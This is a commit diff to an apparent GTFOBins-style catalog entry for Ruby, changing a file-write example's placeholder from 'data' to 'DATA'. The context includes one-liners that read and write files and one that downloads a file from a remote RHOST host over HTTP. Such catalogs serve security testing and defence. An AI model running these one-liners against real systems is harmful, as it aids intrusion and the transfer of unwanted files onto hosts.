Use DATA as a placeholder for file-write operations
This commit is contained in:
@@ -22,7 +22,7 @@ functions:
|
||||
export LFILE=file_to_save
|
||||
ruby -e 'require "net/http"; Net::HTTP.start(ENV["RHOST"], ENV["RPORT"]) { |http| r = http.get(ENV["RFILE"]); open(ENV["LFILE"], "wb") { |file| file.write(r.body) } }'
|
||||
file-write:
|
||||
- code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("data") }'
|
||||
- code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("DATA") }'
|
||||
file-read:
|
||||
- code: ruby -e 'puts File.read("file_to_read")'
|
||||
load-library:
|
||||
|
||||
Reference in New Issue
Block a user